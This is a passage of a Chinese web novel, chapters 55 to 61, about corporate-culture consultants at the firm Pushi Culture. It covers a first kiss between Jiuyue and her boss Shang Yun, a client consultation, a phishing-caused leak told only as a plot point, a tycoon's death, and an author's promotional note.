“同喜同喜,这个项目能圆满完成,都是团队的实力。”九月双手合十举到额前向大家感恩。 有人推着蛋糕车过来,上面有小杯蛋糕点心,阿闲也出现在人群里,“九月一战封神哦,恭喜恭喜,我也来品尝下胜利果实。” 阿闲拿了最顶尖的宝石蛋糕杯给九月,大家才动手去挑选自己喜欢的点心,七嘴八舌热闹开了。 这时,九月透过人头攒动的众人,看到远远站在后边的尚云,嘴角带着温柔的笑。九月以为看错了,再定睛看时,他已经转身走了。 这一天就在如此祥和氛围中开始了。 九月回公司第二天,普世文化的内媒部就出了一篇报道,在公司新星版块将她的不畏围困挑战,以客户发展痛点为己任,并能敏感捕捉契机达成目标的优秀事迹加以宣扬。后附糖世家负责人对项目的评价,全是情真意切的溢美之辞。 最终报道结尾写了这么一段话,“不以营利为最终目的的经营理念被外界嗤之以鼻,但普世文化不为所动,坚持以服务、专业、良知打造品牌温度,将工作做到极致。诚心服务,不负所托,全力以赴为每一份合同负责。” 普世文化“创始人被打事件,员工遭绑架事件”在外媒上的热度还没消散,这篇内媒报道又被外媒转载,传播速度之快令人咂舌,一时风声无两。 世人热赞普世文化值得信任,很多慕名而来的企业家在表达合作意向后,纷纷直言想来普世公司观摩,学习企业文化和管理模式。 尚云热情接待,但在茶余饭后也说了实话,“光是在公司转一圈可能收获不大,我们公司墙上都是非常普通的方针宗旨,没有高深的理论。秘密在于员工的思维模式上,在对公司铁律的执行上。” 客户们原本不信,在公司里里外外看了一遍,从大厅到综合办公室,再到独立办公室,最后停在尚云自己的办公室。 第五十六章 初吻 不能说什么也没有,但鸡汤标语确实很少。 “这就让人不解,墙上宣传极少,员工的思维模式和执行铁律从哪里建立起来的?” “日常工作忙碌不睱,挂在墙上的内容有几人驻足去看?就算看到了,忙于工作的员工哪里有闲心去深思里面的道理?”尚云笑道。 见他们洗耳恭听的样子,接着说道:“所以,第一入职培训一定要做到位。那是他们对公司的最初印象,很难改变,所以非常重要。五谷杂粮养百种人,生长环境、个人境遇、成长模式等等都会让他人有区别。说到底是人是环境的产物。入职培训就是将公司“创造的环境”里一切规则和价值观统一明确传达给他们的契机。 第二我是怎么做的也很重要,员工随时随地都在心里评估考核我们,一旦我们做的跟公司要求的不一致,就会导致他们对公司的不信任。 第三也是你首先要考虑到的,你在招人选人时就得注意设计筛选,人才是否符合公司价值观,招聘必须有考核机制。招聘没把好关,你后面做的一切都是徒劳,因为一个人的价值观很难被改变。” “原来如此!”客户收获满载,开玩笑地说。“你这秘密都告诉我们了,就不怕我们取消合约?” 众人跟着笑起来。 尚云也笑道,“这同频的人只会吸引来同频的人,从你们打定主意来学习的那一刻,就已经说明各位都是有情怀、有大志的人。何况,只要能让国内企业健康发展,对社会、对国家都有好处,社会安定,国家强盛,人人都受益,说到底还是帮了我自己。我还怕什么。” “尚总的心胸和思维不同一般!”客户听完,由衷敬佩,举起酒茶敬酒。 难得一次性见这么多客户,尚云应酬起来依然是绰绰有余。 其实他并不喜欢与人交际应酬,但话题在文化和经营理念上,反倒让他有兴趣跟人欢谈。 不知不觉,就喝多了。 木信相陪,也喝了不少。阿闲先是按尚云要求送到公司,又马不停蹄送木信回去。 公司静悄悄的,唯有九月还在整理资料做方案,第二天就要开会讨论。 忽然听到隔壁办公室发出巨大声响,九月心中一惊,在墙角摸来高尔夫球棒,悄悄靠近声音来源。 又是哐当一声响,九月有了前两次惊魂事件,心中更是恐惧,握着球棒的手心都出了汗。声音来自尚云办公室,窗帘没有拉,户外的光投射进办公室,她看到一个人影坐在地上翻着什么。 慑手慑脚走进,刚扬起球棒,脚底被一股力量扫了一下,她尖叫一声,眼见就要倒地。人影听见声音,拉住她的衣服,重心不稳,还是双双倒地。听声音,球棒滴溜溜滚出老远。 一股酒味侵入鼻端,九月被压住,刚想喊:“救......” 对方捂住她的嘴,“是我。” 原来是尚云,“尚总,我还以为......” 尚云费了老大劲,翻身坐起来。九月悬着的心这才落定,此时眼睛已适应黑暗,看到尚云坐地上揉着太阳穴:“你喝酒了?怎么不开灯?” “没找到开关。”尚云试图爬起来,但没成功。 九月过去扶起他,但近一米八的个子,站不稳,重心全依在她身上。“尚总,你能站稳吗,我去开灯。” “不用,不开灯。我要休息一会。”尚云思维是清晰的,他刚才打翻的是药箱,那里面有她不能知道的秘密。 “好......那我扶你坐下。” 九月凭着朦胧月光,吃力的避过地上散落的物件,将他扶到沙发上。 摸到茶几上的水壶,给他倒了一杯。 “感觉好点了吗?”九月问。她从没见过酒醉的尚云,任何时候,他都是清醒而睿智。凡事稳重,喜欢照顾身边的人,难得见他需要人照顾的样子。 “嗯。” “那我......我就在隔壁,有事随时叫我。你先休息。”九月说完欲起身。 下一秒,自己的手即被他温暖厚实的手握住,她的手微凉,削瘦,他低喃:“九月,陪我坐会。” 九月心中有一根弦,像是被弹唱的人拨弄,发出令人神往的乐曲。 她想像不出,平时那样不近人情的尚云竟会需要她陪,她也希望自己执起平日里的疏离冷漠,甩开他的手,大肆嘲讽他解解气。 但此时,她控制不住自己,慢慢坐下来,跟卸下浑身铠甲的他安静坐在黑暗中。 “这些年,总幻想能跟你在一起,聊聊天,说说话。哪怕什么也不做,坐一起发会呆。”他声音很低,像是耳语。“只要能一起,我就很满足了。” 九月心中那根弦又开始颤。 她没出声,只是听着。她到现在还不敢相信,身边这个人是尚云。 “每当雷雨季节,就站在窗边看着外面的雷电,彻夜难眠。自欺欺人的希望安源镇没有这样的天气。因为没有人在你身边护着你了。” 他一直都还记得,九月从小害怕打雷。 这十二年里,她经历了太多狂风暴雨,发现“雷”远远没有“人”可怕,如今也早已不再对雷心生怖意。 黑暗中,九月吸了吸鼻子,尚云微微侧头,看到她脸上有泪光。 他伸手揽住她的肩,让她靠住自己,另一手替她擦去眼泪。“以后别哭了,你一哭我心里疼得厉害。” “嗯。”九月在他怀里,无声的点点头。仍然泪如雨下。 意识渐渐模糊的时候,他声音也越加虚弱,“对不起。九月。” “尚云,你怎么了?”九月终于感觉他精神不济,捧起他的脸摇晃。 他被她一摇晃,又清醒了不少,“只是头晕,想睡觉。” 九月一下子感觉自己很好笑,喝醉了能有什么事。 尚云看到她在朦胧月光下的笑容,梦幻而美好,定定地移不开眼睛。 九月这才发觉这个姿势太过于暧昧,开始心慌意乱起来,脸颊迅速烧红。 他看着她闪躲的眼睛,羞涩低垂着头的样子,心如擂鼓。半晌没听他出声,以为他又睡着了。她慢慢抬起头。撞上他专注的目光,他那双墨眸温柔得能滴出水来。 尚云的手指抚娑着她脸,着了魔似的缓缓俯下头吻住她微张的嘴唇,微凉的唇轻轻柔柔触碰她的。九月只觉心跳加速,不知所措的扑闪着惊羞的大眼睛。 九月中蛊似的闭上眼睛,任尚云的温柔缠绵变成激烈炙热,从浅浅的触吻变成探索深吻。两人的潜藏亘久的爱恋全化在这荡气回肠、细密绵软的吻里,忘了尘烟,忘了俗世,忘了见鬼的十二年之恨。 第五十七章 普世秘密项目泄露 直到九月感觉快缺氧时,尚云终于意犹未尽地松开她的唇。却低旧紧紧搂着她,九月身体虚软,贴在他炙热的胸膛,听他激锤如鼓的心跳。 她不知道事情怎么就发展成这样,有些羞涩也有些慌张:“我我......我,我还有事没做完,你好好休息。” “好。”尚云气息未稳,嗓音低沉微哑。 刚才,尽管她的吻生涩毫无技巧可言,他却能感觉到她在回应他的情感。 经此一吻,酒醒了大半,理智渐渐回笼,他意识到自己犯了不该犯的错误。 九月走到办公室没几分钟,一个人影匆匆赶来,看到九月办公室亮着灯,惊讶道:“九月,还没下班?” 九月心跳得厉害,一会捂着烫手的脸,一会情不自禁抚摸嘴唇。看见阿闲跟她打招呼,尽量让笑容看起来自然:“我马上就要忙完了。” 阿闲“哦”了一声,嘱咐她早点下班。便走进总经理办公室,打开灯,看到尚云怔怔坐在沙发上,地上一片狼籍,又是惊讶不已:“尚总,发生什么事了?刚才怎么不开灯?” 尚云回过神来,沮丧的神情在灯光照亮房间的一瞬间隐没:“哦,喝多了没摸到开关,一时头晕,打翻了东西。” “你现在好点了吗?”阿闲帮忙捡起散落的小药瓶,随意看了眼药瓶上的英文说明,动作凝滞片刻,最终什么也没问,细细帮尚云装好。 “好多了。”尚云揉着两边额角。 “这里还有一根球棒?”阿闲捡起来,放在一旁。 尚云没说话,走过来从药箱里拿出其中一瓶,倒了几粒在手上,一口吞下。又将药瓶放回原处。盖好药箱,锁进抽屉里。 “走吧,送我回去。” “隔壁九月还没下班。”阿闲说,“要不要等她一起。” 尚云迟疑片刻,说:“要不......你问问。” 走过九月办公室的时候,阿闲便邀九月一起回去。 “不用不用,一会我自己打车回去,我打车回去。”九月着急的语气,像是拒绝与怪兽同伍。这么过激的反应,让阿闲挑了挑眉毛。 到楼下的时候,尚云说,“我打车回去,你在车里等她。” 说着拦了一辆计程车,走了。 最终,九月还是由阿闲送回了家。 回到小区,发现门口和楼道里都贴着楼体拆迁重建新楼的告示。需想办法找新住处了,不过,这些年颠沛流离,工作常换,住所常换,也习惯了。 她坐在沙发上,回想黑暗里她与尚云独处的那些场景,又开始脸红心跳。 拿了浴巾冲进浴室里,将自己从头浇到脚。 秋意正浓,深夜里本身就有凉意,冰冷的水将她浇了个透心凉。 脸色苍白的穿好衣服,头发还滴着水。她呆滞地坐在床沿,抬头就看到书桌玻璃下压着那张肖像画。那上面有一个像极了爸爸的古装男人,不用看也知道,画后面有一个画着红色“x”的圆圈。 “都是我害了他们......”年少时的尚云在电话亭里说的那句话,裹着厉风向她袭来。 她黑亮眼睛里已然抹去任何情愫。 拿起手机,给莫诚发了条信息。“最近还好吗?” 上次在小区楼下遇见尚云,莫诚临走说第二天会在公司楼下接她下班。谁知道当晚她就遇上那件轰动全城的事件,莫诚出现在医院,那时九月情绪低落,两人相见无言。匆匆一见后,九月就一连两个星期都在糖世家出差。 期间莫诚打过电话,但因为一门心思都扑在工作上,她每次都匆匆敷衍两句挂断。 回公司又一星期了,莫诚没了动静。 现在她又主动发这一信息,倒像是对他招之即来,挥之即去。不公平啊。 想到这里,不等莫诚回复,她就撤回了那条信息。 仍聊天页面里还是留下信息撤回的痕迹。 果然,没多久,莫诚发来一条信息,“九月,你撤回了什么?” “你找我么?” 九月还没回复,莫诚的视频电话就过来了。 有没有一种人,在你不需要的时候,他隐退得像没存在过?在你需要的时候,立马会以十分热情回应你。 莫诚就是这种人。这一秒钟,成功戳中她的泪点。 接通电话,莫诚阳光帅气的脸庞出现在镜头里,他似乎在打量九月所在的背景环境,像是松了一口气:“原来你在家里。” “嗯。”九月笑着点头,眼里噙满泪。 “你怎么了?发生什么事了?”莫诚英气的眉毛皱了皱,注视着她。 “我......” “九月,发生什么事了,你告诉我。”像是有些急了,他站起身来。 九月要是再不安抚,只怕过个一二十分钟,他就能出现在楼下。 “我租住的房子要拆迁了。”九月嗡着鼻音说道。情急之下,随意找个理由。 莫诚感到好笑,一屁股又坐下了:“九月,你......” “你吓死我了。拆迁咱就换房子,这小事情嘛,怎么还掉眼泪呢,别哭了乖,找房子的事交给我。” 九月也笑,将眼泪抹掉:“不用,我自己找。” “以后,别什么事都自己扛,有我啊。九月,只要你愿意,我的肩膀随时给你依靠。”莫诚表情很认真,声音却很温柔。 “嗯。”九月抿着唇笑。 互道晚安后,她发觉自己整个人开始暖和起来。 第二天,会议甫一结束,就接到内线电话,叫木信去总经理办公室。 木信知道有客户,便让九月一道前往。 客户姓关,是博义科技的创始人。九月和木信进去后,互相介绍握手,就在坐下旁听。 关老板非常客气地说,“我知道尚总的日程一向排得很满,听说你们现在准备将业务搬上互联网了哈?” 尚云大概没想到自己公司的秘密项目已经人尽皆知,他不动声色看了眼木信,大大方方地说,“嗯,日程排得满是真的。这个月后面十几天,大概会有三分之二的时间会在飞机上度过。总这样也不是办法,形势比人强,追着我们变革,得想办法将业务流程化,跟上时代发展。 届时我们将所有数据导进入,形成解决方案自动匹配的功能,公司压力就减轻,也有更多精力去服务客户。” “培训这一块也会线上解决吗?”关老板就是咨询公司培训痛点。 “也不是不可能。如果解决方案都能流程分析,那培训实际上也能线上完成,但智能培训不比真人,互动性有局限性。不过,科技这么发达......这些问题都是能解决的。”尚云也猜出关老板关心点就在培训上,但还是装作不知地问,“贵公司是遇到什么问题?” 关老板语言简洁的概述公司问题,然后说,“公司成员都很支持公司决策,企业文化也做得不差,无奈就是做不成事。我不知道问题出在哪,头疼得很。依经验判断,公司的培训一直很弱,不知这一块能否有解?” 第五十八章 九月独立接案子 尚云大概明白几分。他有意将问题抛给木信和九月。 “贵公司的问题并不算棘手,这两位是我们公司重点培养的首席顾问,你可以先听听他们的分析。” 木信与九月对视一眼,木信先开口道:“关总您好!我想先请教一个问题。可以吗?” “但说无妨。” “您刚才说企业文化也做得不差,这个评价是从哪方面得来?” 关老板瞅瞅尚云,又瞅瞅木信:“公司员工的企业文化满意度调查上的数据显示,有九成半的员工对公司的文化相当满意。而且员工积极性很高,每次活动热情高涨,这是看得到的。” 木信点点头,说道:“关总,我们接到你的嘱托之后,就希望能一针见血地将贵公司的病灶找出来解决掉。因此接下来我说出一些真相,可能会让您感觉不适,请谅解。 企业文化最大的作用在于公司的精气神,虽然外界将它形容为悬在空中无法落地的虚无门面,实际上,企业文化成功与否,是可以也必须用结果说话的。 但从您的认知中,企业文化仅仅是指一些公司活动,就有点片面。当然,不是说公司活动不重要,相反,从这里面也能看出公司的整体活跃度。因此,尚总也说,您公司还是很有潜力,出现的问题也并不棘手。只不过还没有找到正确路径去引导,也没有找到发力的方式。 也正因为如此,大家虽然都很支持公司的决策,但做不成事。原因在于公司的事变成您一个人的事。就像您刚刚用了‘支持’这个词,大家都很支持,说明大家乐意为公司服务,但没有意识到这件事本身直接关系到自己的利益,说白了就是每个人自己的事。 打个浅显的比方,看到我国跟其他国家有冲突,任何人都会说我支持国家,这种语言和立场支持对国家没有任何帮助,也不需要耗费自己任何成本。动动嘴吧,如此轻松就能获得爱国头衔,谁都乐意啊。” 关老板像是明白了什么,虽沉默不语,眼里却有三分认可。 尚云微笑着给关总斟了一杯茶,“来,关总喝茶。” 关老板拿着茶杯抿了抿,朝尚云点点头,“好茶。”实则变相夸木信。 尚云一听知道事情已经成了,爽朗笑道:“还得遇到像关总这样会品茶的人。” 眼睛扫了木信和九月一眼,木信会意,便看看九月。 九月整理了下思路,顺着木信的话头接着说道,“木信总顾问说得对,嘴上的支持不用耗费成本,却也最无用。如果每个人都用行动,想方设法为国家贡献自己价值和力量的时候,那才是真正把国家的事当成自己的事。 当然,我并不是说每个国民一定要上战场打仗才是为国做贡献,就像并不是每个员工都得帮公司做决策才是用行动帮助公司,只需要把自己岗位工作做到极致,积极响应公司每一个政策,落实,能拿出结果。公司怎么可能还会做不成事?所以,光用语言支持,其实就是一种置身事外的态度。” “那依你们看,需怎么解决?” “态度问题只需提高公司的向心力和执行力,把精气神补足。简单来说,在企业文化上找原因。由小事升级到大方向,再由大方向落到小事上,这就是将文化落地拿结果。”九月接触这行久了,就发现企业的大多数问题其实就是人心问题,而人心的问题都是可用企业文化解决的。 关老板听得热血沸腾,便道:“你们说的很有道理。那咱们什么时候可以开始动作?” “随时都行。今天先去贵公司做第一阶段的初诊断具体病症,第二阶段安排顾问驻厂,详细摸出病根,好对针下药。做出专业的诊疗方案后,第三阶段就是纠偏过程,我们有专业团队全程跟进方案实施情况,直到公司恢复健康。项目结束后,会安排定期回访,以免后顾之忧。”木信微笑,彬彬有礼说道。 关老板很高兴,伸出手来:“交给你们我很放心。感谢感谢。” 尚云也伸手握住,笑道:“接了项目,贵公司的事就是我们的事,你确实可以放心。” 关老板跟木信也握手,“真是年轻有为。”跟九月握手时,又道:“普世公司人才济济啊。” “过奖了。” 合作达成。 关老板走后,木信又被叫去总经理室。将近一个小时,他才满脸凝重的走出来。 “九月,下午我可能去不了博义科技,公司里还有重要的事情要处理。你一个人去没问题吧?” 九月笑道,“没问题。” 木信便匆匆去了研发部。 下午九月去了博义科技,接待人员陪同下参观了公司。公司规模一般,员工的年龄和工龄普遍很高,资历较老。 这证明公司的黏性很强,劳资关系应该还不错。 确如关总所讲,公司很重视企业文化,也知道文化的重要性,曾从各方寻访培训,想把文化做起来。结果还是没有解决问题。这次找普世文化,也是冲着培训去的。 公司还有一名专职负责文化的工作人员,九月向他要了一些公司文化方面的资料,公司简章和文化核心三项之类。 在公司调查了一圈后,九月暗暗心惊,据孔总透露,公司为企业文化已经花费银两无数,为什么员工都不知道公司的核心文化是什么? 跟文化工作者一交流,更大的问题也暴露出来了。 他说道:“我在工作上投入了不少心血,但没有成效。我也向上面反映过这个苦恼,大家都有正面的回应。我还是像陷在沼泽里,对文化工作无能为力。我常常自我质疑,是不是我自身不适合干这行。” “朝阳,你的话严重了。不是你的能力不行,只是方法不对。” “方法?这怎么说?” 九月以问作答:“以我这下午的时间感受来说,刚才上面抛给你一个任务,让你把公司人员的激情调动起来,你要是需要什么,他们会全力配合。对吧?” “是的。大家都表示会积极配合。” “但是,你没有意识到这是一个笼统的指令,你没有做向上管理。”在朝阳满脸疑惑时,九月又道:“你在缺乏整体统筹权力的时候,不有办法去调度你想要的资源。从下往上发出指令也容易被忽略,甚至不会被重视。如果你要求提供资源,变成他们在配合你,支持你。责任压力全部转移到你身上。你处境很尴尬,拿着那些资源反而玩不转。有没有同感?” 朝阳点头如小鸡啄米。“对,你说到我心坎里了。” “再加上底层的根本不了解企业文化的重要性,没人当回事,就算他们的领头羊交待他们全力配合你。要知道配合本身就是‘从属性’很强的词。语言起到的暗示作用不可忽视,企业文化实则大半是心理学。于是,他们的配合很被动。推一推,动一动,不推就不动,你相当于孤军奋斗,就像陷入泥淖里。” “太对了,就是这样。”朝阳佩服得五体投地。 九月笑道:“你不必这么看着我。我是一个局外人,当然能清醒看出问题。我如果处在你的境遇里,也一定焦头烂额。” “那下一步我该怎么做?”朝阳将九月当成救命稻草,恨不得牢牢抓住。 谷善子就是西早木木——作者有话说 本部作品的产生,源于2012年在起点着作的《月瑟如兰云上景》,(原名:西早木木,曾系起点女生网作者)呕心沥血的作品被埋没,下架,又遭抄袭,实在不甘。 便将其中的情节和男女主角故事,融入企业文化职场干货,回锅改编后将他们的故事重新端出来。 企业文化干货是谷善子本人混迹职场近十年的经验,希望各位读者在看到跌宕起伏、扣人心弦的虚构故事,又能传播具有现实意义的正向文化价值观。 因为,像尚云(老钱)这样既强大又慈悲的人物值得被各个层次的人看到,他的理念也值得被效仿,无论是从我们的中华民族文化还是企业文化的立场,他都应该是一个值得学习推崇的标杆人物。 世界不一定温柔待他,但他愿意还之世界以温柔。 这部小说便是《冷情战神文化师》,“老钱”便是小说中的“尚云”,也增添了他前世曾是北齐相国斛律光的背景,忠贞报国,一心效主,在混乱中独力撑起战国北齐,最终还是死于“朝廷”权斗,以昭示他伟大与悲壮的形象。 小说的最后,总结一生,他忠的是自己的“慈悲”理念,效的是“良知”这一份信仰。 比之专业文章读来更具艺术性、更生活化、更具有戏剧性,所以“老钱”角色做了很多丰富调整,让他的形象不再纸片化,而是更立体、细致和丰满、深刻起来。 大概明年初(2023年)能写完,现在每天更新两章(约4500字),明年会继续写一部职场文化品牌培训师的小说。 虽然退隐山村生活,我已不在职场,更没有再从事企业文化职业,但一朝是文化工作者,毕生皆是文化传播人。希望职场乃至人世间都如小说勾勒的那般美好,虽险恶丛生,却最终化干戈为玉帛。 每个人都是潜在的“尚云”“老钱”,每个人也可以选择成为“尚云”“老钱”。 希望看到这段文字的你,快乐工作、享受生活、精彩不落! 如对小说感兴趣,可下载“红袖读书”App订阅。那么,我们小说中再相逢! 第五十九章 一人失守,全军覆没 “我们要改变一个认知,企业文化不是一个人的工作,而是大家的共识,达成这个共识需要做两步,第一步,先让掌舵者意识到,企业文化实则是他自己的理念和意志,他心里想创办一个什么样的企业,达到什么高度,达成了有什么收益,用什么方法达到目标。想办法把这种理念和意志宣贯到每个管理者头脑中,变成他们自己的事。 每个管理者再用自己的影响力带动团队,慢慢统一共识,大家认可同样的理念和意志,就已经成功了一半。另一半任务就是调动起这股意志,去达成被细化的企业愿景。” 小李又说了具体的落地计划,“第二步就是等我的方案写好之后会找孔总商量,给全体高层开会,分配角色,建立考核。 你一个人去影响全公司这几乎是让你翘动地球的艰巨任务,但是把这项巨大的文化工程化整为零,每个人负责自己团队,变成他们自己的事,你的压力就减轻了。 做好自己的文化培训、宣传、修正、维护工作,你就已经很棒了。这个会议由我来主持,到时你也参会。” “嗯!”朝阳用力点点头,此时精神焕发,跟刚刚进来的时候相比,像是变了一个人。 朝阳在剩下的时间,热情的介绍了公司很多不为人知的背景和发展历程,以及发展过程中一些重要却细小的事件。这是意外收获,无意中帮助了九月。 因为在九月看来,人的行动背后,一定要深层的驱动力,也叫行为动机。公司的变革与发展的背后,也隐藏着许许多多盘根错节的根本原因。一个小环节错了位,时间越长会越明显,以各种各样的现象浮现出来,每个责任人都忙着救火纠错,很少有人会探究深层原因。 这些知识,都是九月从普世文化创建以来的接手所有成功案例中总结出来的。 九月九点多才离开博义科技。 她发现,除了绘画,自己唯有做普世的“文化顾问”这份工作时,学习、上手快不说,嗅觉特别灵敏。还怎么都不会觉得疲惫,而且越沉下心去做越痴迷兴奋。 难道这就是尚云所说的“天赋”? 她开始相信尚云跟她隐隐约约描绘出来的远景,虽然对尚云存有疑虑和戒备,但她打心眼里承认。尚云确实有一种超强的能力——能看到别人所看不到甚至意识不到的事物。 莫诚的车已经停在门外,九月上车时发现阿闲也迎面走来,她招手叫道:“闲哥。” “九月,忙完了吧?公司让我来接你。知道你在忙工作,我就在没进去打扰你。” “呃~谢谢你。我朋友来接我了。”九月一脸抱歉。 “男朋友吗?”阿闲调侃道。 九月想了想,也不否认:“不排除以后是。” “哈哈,懂了懂了。那行,有护花使者那公司就放心了,注意安全。”阿闲笑着,跟他们挥挥手,走了。 阿闲钻进驾驶位后,并没有立即离开。而是留下,观察博义科技园门口那一对年轻人。 看着他们确实不像普通的朋友关系。他不禁叹息。他在暗中调查很多事,自然也最了解尚云为她付出的一切。心里明明很喜欢她,为何迟迟不表明心意,还刻意与她保持距离? 如今花落别人家,他看着都遗憾。 难道?他脑海里浮现尚云醉酒那夜,打翻了药箱,那些药瓶是他亲自帮忙捡起来的。当时他看了一眼药品名称。 他恍然,也许跟这件事有关。 尚云最近可没有儿女情长的心思,他之前就料到对手栽了一个大跟头,幕后黑手绝不会善罢甘休。所以召开各级会议加强戒备。 没想到事情还是发生了。 机密项目还处于孵化中,为什么就被泄露出去了。如果不出意外,对手公司一定很快就会有类似产品面世。 木信成立了一个专项调查小组,逐个谈话,后来发现问题在于公司网页程序存在漏洞,而且对方攻进来的方式还是研发部人员自己点开了一封邮箱。 对方仿造成尚云发来的秘密文件,研发人员没想太多,直接就点开了。 事情大白之后仍然按而不动。普世文化其实走的是军式文化,每月都会回锅操练。看了普世的训练场上的投资就知道。 而尚云对每一个员工都以“将领、士兵”来称呼,在一系列严格训练后,每个人听到来自总经理“将士们”这样的称呼,有一种特殊的感情。 在操练场上以及在公司的每一刻,他们没将尚云当成雇主,也没将自己当成雇员,而是身负使命的战场将士。公司没有男女性的区别对待,但细致到每位员工的细致需求都会被满足。 这次的训练日结束之后,尚云照例会发言。他与所有人服装一致,也身着一套迷彩服。此时站在台上,扫视烈阳下站立整齐的全体员工,大声说出公司十大铁律。 底下七百多人齐声背诵铁律,气势恢弘,声音震耳发聩。 尚云满意点点头。 “将士们:公司最近发生了一点事,我想大家都已经知道了。 犯错不可怕!我们的十大铁律中,第一条就是允许犯错。公司支持创新,创新就意味着要走别人所没走过的路,没有经验可参考,没有规律可参照,难免会犯错。 但是,我们要学会在错误中成长,不断进化。不能在同一个错误中犯两次错误,更不能在同一个对手手中被绊倒两次。在场的每一个将领,每一个士兵,你们有责任守护好自己旗下的版图,不能将它沦为全公司的缺口。一人失守,全军覆没! 在沙场打仗,可能有微小机会侥幸逃过一次。但是敌人决不会给我们第二次机会,犯第二次错就会付出生命的代价! 所以,在采取任何行动之前,研究如何才能不犯错,如果已经犯了错,要研究第一次错误为什么会出现,研究你的对手的出手规律和不规律之处。因为你要想方设法地活下来,唯有活下来才能翻盘。才能带着你的任务、使命冲出包围圈,实现鸿图大愿。今天训练到此结束,收队!” 全体成员有序的分散两队,分别从南门和东门鱼贯而出,回到办公处。 第六十章 箫章逝世 医院里医护人员一向肃穆而行色匆匆,但这一天医院的氛围格外紧张。 在医院的走廊还有不少记者隐藏其中,捉捕相关信息。 之前住在IcU的病人箫章前几天转入平常病房,独立住整层楼,有医疗团队专业护理,有五六个保镖站岗。眼看一天天病情好转,虽然说不了话,头脑却是清醒的,而且醒着的时间越来越长。在今晚却突然被推进急救室。 一直追踪事件报道的记者的神经是敏锐的,立刻知道不同寻常,埋伏在医院走廊里。将第一手信息整理成图片新闻发了出去。并留在医院继续跟进。 此时,小竺眼眶通红,却神色冷静。莫诚匆匆赶来,在小竺身边站定。 “他不是已经好转了吗?前几天过来看他,医护人员都说再观察一个星期,状态稳定就可以出院了。” “不知道。”小竺低声有如耳语,目光呆滞,缓缓摇头。 她低着头,一字一顿地说道:“莫诚,你打小就憎恶的亲生父亲,现在就躺在里面,与死神拉锯。我很想知道,你现在是什么感受。” “箫小竺你什么意思?”莫诚不悦地道。 “字面意思!”小竺提高音量立即回怼,此时已泪流满面:“送他来医院那晚,尽管他失去了意识,我都没这么恐惧过,因为他的手是热的是暖的。可是刚刚送进急救室之前,他已经没了呼吸,我握住他的手,也是冰凉冰凉的。我怎么叫他,都没有反应......”说着,已经泣不成声。 莫诚走过去拥住她,安慰这个一向温顺懂事的妹妹:“不会有事的,不会的。你别自己吓自己。我们已经请来最好的医生,有顶极医术的医疗专家坐镇,没事的。” 小竺推开他,带着哭腔:“都是你,一切拜你所赐。” 箫章再十恶不赦,可他对这个唯一的宝贝女儿却是真心疼爱,也难怪小竺会伤心断肠。 此时,急救室的门打开了,两人同时朝门口望去,“我们尽力了。抱歉!箫小姐。” 小竺惨白着一张脸,说不出一句话来,机械地摇着头,泪水泉涌。 她只看到医护人员和莫诚嘴巴一张一合,莫诚抱住她,在喊着什么,她却什么也听不到。 小竺晕过去了。 半夜,宝宁最富盛权、枝繁叶茂的雷默集团董事长、宝宁首富箫章逝世的消息,出现在各大媒体的头条新闻上。 九月当然也看到这条新闻,但只阅读了标题就滑过去了。 尽管这样的新闻惹人关注,然而对于她来说并无感。每天都有人生,有人死,一个陌生人的正常因病去世,实在无法牵动她的关注。 但是,她却在一张图片新闻里,看到一张疑似小竺的背影。图片太远,放大就模糊了。 她已经很久没有联系到小竺了,最近,连莫诚也消失了。 宝宁市商界有一个公开的秘密俱乐部,成员都是宝宁市有头有脸的企业创始人和一些拥有特殊权威身份者。一般企业就是想攀附俱乐部还没有机会,一旦进入圈子。可获取的宝贵资源丰富,享用好处自不必说。 箫章则是俱乐部独一无二的领袖。他这一去世,引发商界风云变幻。而雷默集团是这场变革中的主要分子。 雷默的新东家已然换上一副年轻漂亮的面孔,即箫章的女儿箫小竺。但明面上一切似乎尘埃未定,所有媒体均未报道此事,频频在媒体出面现身的仅有总经理林作杰。 暗地里,小竺理所当然接替了父亲在商圈俱乐部的地位。领袖地位意味着权利和关系网,也意味着在位者跺跺脚,整个宝宁市都会摇三摇。 这引起了很多颇具野心的商圈成员强烈不满,但雷默集团树大根深的稳固地位仍然是宝宁一大霸主,即使不服也不敢明着反对。 有竖刺迎敌的,也有隔岸观火,有黯然伤神的,更有四处拱火坐收渔人之利的。一时之间,宝宁商圈满是猜测、嫉妒,揣磨与恐慌。 雷默董事长换人之后,做了一个大动作。全力扶持一家与外资合股的管理文化咨询公司,雷默30%的资产融入这家成立不久的行业后起之秀。 一般人不明白雷默集团的30%资产是什么概念。 雷默集团的旗下资产遍布全国各个省份的各个领域,单抡任何一个省份的1%都可以收购一家中型企业,更何况雷默集团各个省份的资产加起来总和的30%资产。 这是一笔超级巨大的投资,也是雷默能动的所有资产。因为其余的70%股份所有权不在雷默囊中。 这种破釜成舟的投资别说于雷默集团是史无前例的,就算放眼全商界也未必出其左右。 因此,管理文化咨询行业哀嚎遍野,惶惑不安,知道自己在此严酷环境下几无胜算可能,只能等待命运碾压。 有的企业存着侥幸心理打算以后在巨人牙缝里觅食,有的企业则开发其他业务,更改主营战略,欲逃出巨人辐射范围,免受扫荡迫害。 普世文化是行业里唯一在滚滚风尘中毫不动摇的公司,就如同孙悟空与如来佛祖之间的对峙。 尚云无疑是这次环境恶劣变革中最大受压者。全公司员工在面临威胁时无一例外的注视着普世领袖的一举一动。他们的信心和决心急需尚云给予加持。 夜深人静,尚云将自己关在望月居书房里。 书房后面的书柜消失,取而代之的是一面宽大衣橱。 此时,他站在衣橱前,负手而立。目光凝视着木制衣架上的铠甲和森森刀刃,一动不动。 身后的手捏成拳头,指节发白,萧杀之气弥漫着整间书房。 眼前沙尘飞扬,侦哨员紧急禀报。 “报!” “明月将军,我国边境遭袭,突厥军猖狂,突然袭击我军,公然挑衅应战。” “报!” “明月将军,北周已征二十万大军攻击洛阳,半个时辰左右就将兵临城下,我方仅五万兵力,若要迎战,粮草也远远不足支撑这次战事。” 真刀实枪的战场,明月将军面临庞群巨敌,他何曾生过畏惧。怒目一沉,一声“众将听令”,召集将领布好主线副线,快速决断出利好地势。一番布局,亲自领军杀向敌军,设计诱敌,左右包抄,突击敌方主力军队。 北周二十万大军有多半是临时征集,主力军队失势后,军心不稳。 明月将军领着骑兵势若破竹,将敌军节节击败。 脑海中浮现的前世记忆渐渐隐去,尚云紧抿嘴唇,心中主意已定。 一挥手,衣橱瞬间移动,恢复成书柜。 第六十一章 小竺露真面目 阿闲这几天都没有出现在公司。 这时,路虎车出现在别墅前,阿闲从车上下来,他跟木信、严教官都有别墅的出入权限。 在楼下打了尚云电话,才走进室内。 